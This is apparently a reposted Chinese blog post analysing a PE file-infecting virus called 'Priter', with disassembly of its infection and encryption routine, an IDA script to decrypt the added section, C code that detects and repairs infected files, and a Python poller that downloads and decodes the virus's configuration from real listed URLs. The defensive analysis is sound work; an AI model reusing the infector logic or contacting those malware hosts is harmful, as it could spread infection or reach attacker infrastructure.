.text:004026EF                 inc     edx
.text:004026F0                 jmp     short @patch_call_in_addedsection_jmp_original_place
.text:004026F2 ; nop code
.text:004026FA ; ---------------------------------------------------------------------------



      对病毒体进行加密
.text:004026FA                 call    GetTickCount
.text:00402700                 mov     ebx, [ebp+alloc_address2]
.text:00402703                 add     ebx, [ebp+filesize_mod_filealigment]
.text:00402706                 mov     dword ptr [ebx], 0
.text:0040270C                 mov     ecx, 6106h
.text:00402711
.text:00402711 @encrypt:                               ; CODE XREF: Infect_EXE_dll+60Aj
.text:00402711                 cmp     ecx, 4
.text:00402714                 jb      short loc_402730
.text:00402716                 cmp     ecx, 22Bh
.text:0040271C                 jnb     short loc_402726
.text:0040271E                 cmp     ecx, 192h
.text:00402724                 ja      short loc_402728
.text:00402726
.text:00402726 loc_402726:                             ; CODE XREF: Infect_EXE_dll+5F8j
.text:00402726                 xor     [ebx], eax
.text:00402728
.text:00402728 loc_402728:                             ; CODE XREF: Infect_EXE_dll+600j
.text:00402728                 add     ebx, 4
.text:0040272B                 sub     ecx, 4
.text:0040272E                 jmp     short @encrypt
.text:00402730 ; ---------------------------------------------------------------------------

      写入最后一个节的数据
.text:00402730
.text:00402730 loc_402730:                             ; CODE XREF: Infect_EXE_dll+5F0j
.text:00402730                 push    [ebp+filesize]
.text:00402733                 push    [ebp+sizeof_alloc_address2]
.text:00402736                 push    [ebp+alloc_address2]
.text:00402739                 push    [ebp+hFile]
.text:0040273C                 call    Write_File      ; arg_0_hFile     = dword ptr  8
.text:0040273C                                         ; arg_4_inputbuffer= dword ptr  0Ch
.text:0040273C                                         ; arg_8_wriesize  = dword ptr  10h
.text:0040273C                                         ; arg_c_offset_to_write_from_file_begin= dword ptr  14h
.text:00402741                 push    [ebp+alloc_address2]
.text:00402744 ; nop code
.text:0040274C ; ---------------------------------------------------------------------------
.text:0040274C                 call    GlobalFree
.text:00402752
.text:00402752 @already_infected:                      ; CODE XREF: Infect_EXE_dll+16Bj
.text:00402752                                         ; Infect_EXE_dll+179j
.text:00402752                 mov     [ebp+is_infected], 1
.text:00402759
.text:00402759 @closehandle:                           ; CODE XREF: Infect_EXE_dll+61j
.text:00402759                                         ; Infect_EXE_dll+70j ...
.text:00402759                 push    [ebp+hFile]
.text:0040275C ; nop code
.text:00402764 ; ---------------------------------------------------------------------------
.text:00402764                 call    CloseHandle
.text:0040276A
.text:0040276A @fail:                                  ; CODE XREF: Infect_EXE_dll+43j
.text:0040276A                 mov     eax, [ebp+is_infected]
.text:0040276D                 pop     ebx
.text:0040276E                 pop     edx
.text:0040276F                 pop     ecx
.text:00402770                 pop     edi
.text:00402771                 pop     esi
.text:00402772                 leave
.text:00402773                 retn    8
.text:00402773 Infect_EXE_dll  endp
一个感染例子
比如:

代码:
.text:6B2410E1 89 5C 24 04                       mov     [esp+38h+var_34], ebx
.text:6B2410E5 89 34 24                          mov     [esp+38h+var_38], esi
.text:6B2410E8 E8 F6 AD 09 00                    call    Patch_call      被patch的call
.text:6B2410ED 83 EC 0C                          sub     esp, 0Ch
.text:6B2410F0 85 DB                             test    ebx, ebx

目的地址:
.rsrc:6B2DBEE3                   Patch_call      proc near               ; CODE XREF: DllEntryPoint+28p
.rsrc:6B2DBEE3 E8 37 00 00 00                    call    loc_6B2DBF1F      执行恶意代码
.rsrc:6B2DBEE8 E9 83 03 FD FF                    jmp     sub_6B2AC270      跳回原来的call的目的地址
.rsrc:6B2DBEE8                   Patch_call      endp
.rsrc:6B2DBEE8


调试程序的时候发现它会抽取call的信息到,添加节的开始处,不过是加密的,解密很简单,加密代码如下:
代码:
def decrypt_infected(startva = 0x6b2d6000):
    eax = Dword(startva)
    if eax == 0:
        return
    counter = 0x6106
    while True:
        if counter < 4:
            break
        if (counter > 0x192) and (counter<0x22b):
            startva = startva + 4
            counter = counter -4
        else:
            dword_value = Dword(startva)
            dword_value = dword_value ^ eax
            PatchDword(startva,dword_value)
            startva = startva + 4
            counter = counter -4            
        


def decrypt_main_exe(startva = 0x401000):
    eax = Dword(startva)
    #alreay decrypted?
    if eax ==0:
        return
    counter = 0x6106
    while True:
        if counter < 4:
            break
        if (counter > 0x13c) and (counter<0x182):
            startva = startva + 4
            counter = counter -4
        else:
            dword_value = Dword(startva)
            dword_value = dword_value ^ eax
            PatchDword(startva,dword_value)
            startva = startva + 4
            counter = counter -4

def make_dwords(startva):
    MakeUnknown(startva,0x14+0x6*0xa,0)
    MakeDword(startva)
    MakeDword(startva + 4)
    MakeDword(startva + 8)
    MakeDword(startva + 0xc)
    MakeDword(startva + 0x10)
    i = 0
    curva = startva + 0x14
    while Dword(curva) != 0:
    #for i in range(6):
        
        str = "patch_call_info_%02x" % i
        MakeDword(curva)
        MakeDword(curva + 4)
        MakeName(curva ,str)
        curva = curva + 8
        i = i + 1
        if i > 6:
            break
    MakeDword(curva)
    MakeName(curva,"end")

if __name__ == "__main__":
    print "start to decode"
    segs = Segments()
    last = 0
    for seg in segs:
        #print "0x%x" % seg
        last = seg
    lastSegStart = SegStart(last)
    lastSegEnd = SegEnd(last)
    #print "lastSegStart %08x,lastSegEnd %08x" % (lastSegStart,lastSegEnd)
    
    decrypt_infected(lastSegStart)
    make_dwords(lastSegStart)
    print "finishe"
以一个被感染的样本为例, 脚本运行之后病毒添加节开始:

代码:
.rsrc:1E1DD000 00 00 00 00       dd 0
.rsrc:1E1DD004 88 25 58 77       dd 77582588h        解密的key
.rsrc:1E1DD008 06 00 00 00       dd 6          patch_call_num的最大值
.rsrc:1E1DD00C A0 59 00 00       dd 59A0h        oep rva
.rsrc:1E1DD010 00 00 00 00       dd 0        
.rsrc:1E1DD014 6B 11 00 00       patch_call_info_00 dd 116Bh    
.rsrc:1E1DD018 31 FF FF FF       dd 0FFFFFF31h
.rsrc:1E1DD01C E3 1D 00 00       patch_call_info_01 dd 1DE3h
.rsrc:1E1DD020 79 3A 00 00       dd 3A79h
.rsrc:1E1DD024 AD 2B 00 00       patch_call_info_02 dd 2BADh
.rsrc:1E1DD028 BF F8 FF FF       dd 0FFFFF8BFh
.rsrc:1E1DD02C 88 38 00 00       patch_call_info_03 dd 3888h
.rsrc:1E1DD030 D4 1F 00 00       dd 1FD4h
.rsrc:1E1DD034 94 49 00 00       patch_call_info_04 dd 4994h
.rsrc:1E1DD038 88 D3 FF FF       dd 0FFFFD388h
.rsrc:1E1DD03C 00 00 00 00       end dd 0

struct patch_call_info
{
+0 dword 修改call的文件偏移+1
+4 dword 原来的call 即e8后面的offset
}

这样我们就可以写程序修复了,很久都没有写程序了,大部分时间都花在调试程序上了,这里只列出一些关键部分函数,其他看附件:
判断程序是否被感染:

代码:
bool IsInfecterByPriter(char* szFileName)
{
  bool  bReturn = FALSE;


  HANDLE          hFile = INVALID_HANDLE_VALUE;
  DWORD          dwRead = 0;
  DWORD          dwOffset = 0;
  DWORD          dwKey = 0;
  DWORD          dwTemp = 0;
  DWORD          dwImageSize = 0;
  DWORD          dwHeadSize = 0;
  LPBYTE          MapOfFile = 0;
  DWORD          dwFileSize = 0;
  DWORD          i = 0;
  IMAGE_NT_HEADERS32*    PE;
  IMAGE_SECTION_HEADER*  SH;
  PDWORD          LastSection;
  
  
  hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    goto Exit0;
  
  //Is ValidPE
  SetFilePointer(hFile, 0, NULL,  FILE_BEGIN); 
  ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
  if ('ZM' != dwTemp)
    goto Exit0;
  
    SetFilePointer(hFile, 0x3C, NULL,  FILE_BEGIN);                    
  ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
  dwTemp = 0;
  SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
  ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
  if ('EP' != dwTemp)
    goto Exit0;
  
  //check the file size
  dwFileSize = GetFileSize(hFile,NULL);
  if (dwFileSize == 0xFFFFFFFF) 
    goto Exit0;

  if (0x960a >= dwFileSize)
    goto Exit0;
  
  //Map
    SetFilePointer(hFile, 0x3C, NULL,  FILE_BEGIN);                    
  ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
    SetFilePointer(hFile, dwOffset + 0x50, NULL,  FILE_BEGIN);
  ReadFile(hFile, &dwImageSize, 4, &dwRead, NULL);          
    SetFilePointer(hFile, dwOffset + 0x54, NULL,  FILE_BEGIN);
  ReadFile(hFile, &dwHeadSize, 4, &dwRead, NULL); 
  MapOfFile = (LPBYTE)VirtualAlloc(0, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  if (MapOfFile == 0)
    goto Exit0;

    SetFilePointer(hFile, 0, NULL,  FILE_BEGIN);
  ReadFile(hFile, MapOfFile, dwHeadSize, &dwRead, NULL);
  PE = (IMAGE_NT_HEADERS32 *)(MapOfFile + dwOffset);
  SH = IMAGE_FIRST_SECTION32(PE);

  //判断最后一个节的属性
  if ((SH + PE->FileHeader.NumberOfSections -1)->Characteristics != 0xe00000e0)
    goto FreeExit0;  
  dwTemp = (SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData;
  if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData == 0x9800) 
    goto Found;
    
    
    
  if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData != 0xa000)
    goto FreeExit0;  


Found:
  for (i = 0; i < PE->FileHeader.NumberOfSections; i ++)
  {
    SetFilePointer(hFile, (SH + i)->PointerToRawData, NULL, FILE_BEGIN);
    ReadFile(hFile, (SH + i)->VirtualAddress + MapOfFile, (SH + i)->SizeOfRawData, &dwRead, NULL);
  }
  LastSection = (PDWORD)(MapOfFile + (SH + PE->FileHeader.NumberOfSections -1)->VirtualAddress);
  dwKey = *LastSection;
  //dwTemp = *(PDWORD)(LastSection + 1);
  *(LastSection + 1) = *(LastSection + 1) ^ dwKey;
  
  //解密后,判断最后一个节开始的数据
  if (*(LastSection + 1) != 0x77582588)
    goto  FreeExit0;

  *(LastSection + 2) = *(LastSection + 2) ^ dwKey;
  dwTemp = *(LastSection + 2);
  if (*(LastSection + 2) != 6)
    goto  FreeExit0;

  
  
  //Save
  pSaveInfo = (PINFO)malloc(sizeof(INFO));
  memset(pSaveInfo, 0, sizeof(INFO));
  strcpy(pSaveInfo->szFileName, szFileName);
  pSaveInfo->MapOfFile = MapOfFile;
  pSaveInfo->PE = PE;
  pSaveInfo->SH = SH;  
  pSaveInfo->dwKey = dwKey;
  pSaveInfo->dwimagesize = dwImageSize;

  bReturn = TRUE;

  goto  Exit0;
FreeExit0:

  VirtualFree(MapOfFile,0,MEM_RELEASE);

Exit0:
  
  if (INVALID_HANDLE_VALUE != hFile)
  {
    CloseHandle(hFile);
    hFile = INVALID_HANDLE_VALUE;
  }
  
  
  return bReturn;
}
对感染的文件进行修复:

代码:
bool IsRepairSuccess()
{

  bool          bRet = FALSE;
  BOOL          bWrite;
  HANDLE          hFile = INVALID_HANDLE_VALUE;
  DWORD          dwRead = 0;
  DWORD          dwOffset = 0;

  DWORD          dwTemp = 0,dwTemp1,dwTemp2;
  DWORD          counter = 0,i;
  IMAGE_SECTION_HEADER*  SH;  
  PDWORD          patch_call_info,patch_call_info_copy,dwPatch_tmp;
  DWORD          file_offset,file_offset_end;
  PBYTE          patched_call_va,check_call_va,dwrepair;

  DWORD          dwSizeOfHead = 0;
  //IMAGE_SECTION_HEADER  *SH;
    

  
  SH = pSaveInfo->SH;

  patch_call_info = (PDWORD)((pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress) + 0x14);
  

  patch_call_info_copy = patch_call_info;
  //获取patch了多少个call
  do 
  {
     *(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;


     dwTemp = *(patch_call_info);
     if (dwTemp != 0)
     {
       ++counter;
       if (counter > 6)
        goto  Exit0;
       ++patch_call_info;
       *(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;
       ++patch_call_info;
     }



  } while ( dwTemp != 0);



  if (counter <= 0)
  {
    goto  Exit0;
  }
  //如果出去call的数量为1 则不需要去重复
  if (counter == 1)
  {
    goto  repair;
  }

  patch_call_info = patch_call_info_copy;
  dwTemp = counter;
  dwTemp ++;
  //有的有重复的 去掉重复的
  while (--dwTemp!=1)
  {
    dwPatch_tmp = patch_call_info_copy;
    dwTemp1 = *(patch_call_info_copy);
    patch_call_info_copy = patch_call_info_copy + 2;
    dwTemp2 = *(patch_call_info_copy);
    if (dwTemp2 == dwTemp1)
    {
      i = dwTemp;
      i --;
      i = i * 8;
      i = i + 4;
      memcpy(dwPatch_tmp,patch_call_info_copy,i);
      counter --;
      if (counter == 0)
      {
        goto  Exit0;
        
      }
      patch_call_info_copy = patch_call_info_copy - 2;
      
    }

  }


  file_offset = pSaveInfo->SH->PointerToRawData;
  file_offset_end = pSaveInfo->SH->SizeOfRawData + pSaveInfo->SH->PointerToRawData;
  check_call_va = (pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress);
  check_call_va = check_call_va + 0x5ee3;
  //开始修复
  do 
  {
    dwTemp = *patch_call_info;
    if (dwTemp < file_offset)
    {
      goto  Exit0;
    }
    if (dwTemp > file_offset_end)
    {
      goto  Exit0;
    }
    dwrepair = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);

    patched_call_va = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);
    --patched_call_va;
    if (*patched_call_va != 0xe8)
    {
      goto  Exit0;
    }

    ++patched_call_va;
    patched_call_va = patched_call_va + *(PDWORD)patched_call_va;
    patched_call_va = patched_call_va + 4;

    dwTemp2 = patched_call_va - check_call_va;

    if ((dwTemp2 % 0x0a) != 0)
    {
      goto  Exit0;
    }
    patch_call_info = patch_call_info + 1;
    memcpy(dwrepair ,patch_call_info,4);
    patch_call_info = patch_call_info + 1;
  } while (--counter);


  

repair:
  // remove last section

  -- pSaveInfo->PE->FileHeader.NumberOfSections;
  pSaveInfo->PE->OptionalHeader.SizeOfImage = pSaveInfo->PE->OptionalHeader.SizeOfImage 
    - (pSaveInfo->SH + pSaveInfo->PE->FileHeader.NumberOfSections)->Misc.VirtualSize;

  memset(pSaveInfo->SH +  pSaveInfo->PE->FileHeader.NumberOfSections,0,0x28);

  dwSizeOfHead = pSaveInfo->PE->OptionalHeader.SizeOfHeaders;
  hFile = CreateFile(pSaveInfo->szFileName, GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
  if (INVALID_HANDLE_VALUE == hFile)
    goto Exit0;

  bWrite = WriteFile(hFile, pSaveInfo->MapOfFile, dwSizeOfHead, &dwTemp, NULL);
  
  for (i = 0; i < pSaveInfo->PE->FileHeader.NumberOfSections ; i ++)
    bWrite = WriteFile(hFile, (SH + i)->VirtualAddress + pSaveInfo->MapOfFile, (SH + i)->SizeOfRawData, &dwTemp, NULL);
  
  
  dwTemp = (SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData;
  dwTemp1 = SetFilePointer(hFile,(SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData,NULL,FILE_BEGIN);

  dwTemp2 = SetEndOfFile(hFile);


  bRet = TRUE;

Exit0:
  
  if (INVALID_HANDLE_VALUE != hFile)
  {
    CloseHandle(hFile);
    hFile = INVALID_HANDLE_VALUE;
  }
  
  if (NULL != pSaveInfo->MapOfFile)
  {
    VirtualFree(pSaveInfo->MapOfFile,0,MEM_RELEASE);
  }
    
  if (NULL != pSaveInfo)
  {
    free(pSaveInfo);
    pSaveInfo = NULL;
  }


  return    bRet;
}

最后我写了个叫脚本来下载解密其配置文件,看看病毒作者是否有更新,结果很失望,脚本如下:

代码:
import os,sys
import urllib2
import time
import re, struct

def Decrypt_Config(srcData, hOutFile):
    currIndex = 0

    data_len = len(srcData)
    ecx = data_len - 0xa

    p = re.compile(r'########(.*)',re.DOTALL)

    m = p.search(srcData)
    decrypt_data = []
    if m:
        found_offset = m.start(1)

        ecx = ecx - found_offset
        ecx = ecx >> 1
        #print "ecx %08x" % ecx
        while ecx != 0:
            ah = srcData[found_offset]
            al = srcData[found_offset+1]
            eax = (ord(ah) << 0x8) | ord(al)
            #print "eax %08x" % eax
            eax = eax - 0x4141
            edx = eax
            eax = eax >> 4
            eax = edx | eax
            #print "after or eax %08x" % eax
            decrypt_data.append(chr(eax & 0xff))
            found_offset = found_offset+2
            ecx = ecx - 1
        decrypt_data_ = "".join(decrypt_data)
        first_dword = struct.unpack('I',decrypt_data_[0:4])[0]
        if first_dword <= data_len:
            check_value = struct.unpack('H',decrypt_data_[4:6])[0]
            #print "check_value %08x" % check_value
            ecx = first_dword
            eax = 0
            esi = decrypt_data_[6:]
            cur_offset = 0
            while ecx >= 4:
                eax = eax + struct.unpack('I',esi[cur_offset:cur_offset + 4])[0]
                cur_offset = cur_offset + 4
                ecx = ecx -4
            eax = eax & 0xffff
            if eax == check_value:
                real_data = decrypt_data_[6:first_dword+6]
                hOutFile.write(real_data)

    else:
        
        print "no content found"

#time.sleep(7200)
def downloadfilewithoutdecrypt(url):

    try:
        
        ha = urllib2.urlopen(url,)
        if ha:
            print 'get sucess\n'
        configdata=ha.read()
        if configdata:
            print 'get data correct \n'
        

        if url.lower().endswith('625'):

            ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
            Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
            outfile=file(Config_name + 'config625','wb')
            Decrypt_Config(configdata,outfile)
            #outfile.write(configdata)
            outfile.close()
            
        if url.lower().endswith('358'):
            ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
            Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
            outfile=file(Config_name + 'config358','wb')
            Decrypt_Config(configdata,outfile)
            outfile.close()
        if url.lower().endswith('home'):
            ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
            Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
            outfile=file(Config_name + 'configtest','wb')
            Decrypt_Config(configdata,outfile)
            outfile.close()
        if url.lower().endswith('014'):
            ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
            Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
            outfile=file(Config_name + 'config014','wb')
            Decrypt_Config(configdata,outfile)
            outfile.close()
    except urllib2.HTTPError:
        
        pass


if __name__ == '__main__':

    weblist = [
        "http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625",
        "http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014",
        "http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358",
        "http://hi.baidu.com/test6345/home"
        ]
    #f
    i = 0
    while(True):
        for url in weblist:
            i = i + 1
            downloadfilewithoutdecrypt(url)
            time.sleep(72)
            if i > 0x10:
                break
            
    print "finishe"

    这几天下载下来的内容,都是一样的,作者并没有更新其配置文件。


附件密码:forfun

 

上传的附件
文件类型: rar xxx.rar (2.05 MB, 110 次下载)
原文地址:https://www.cnblogs.com/shenlian/p/2488873.html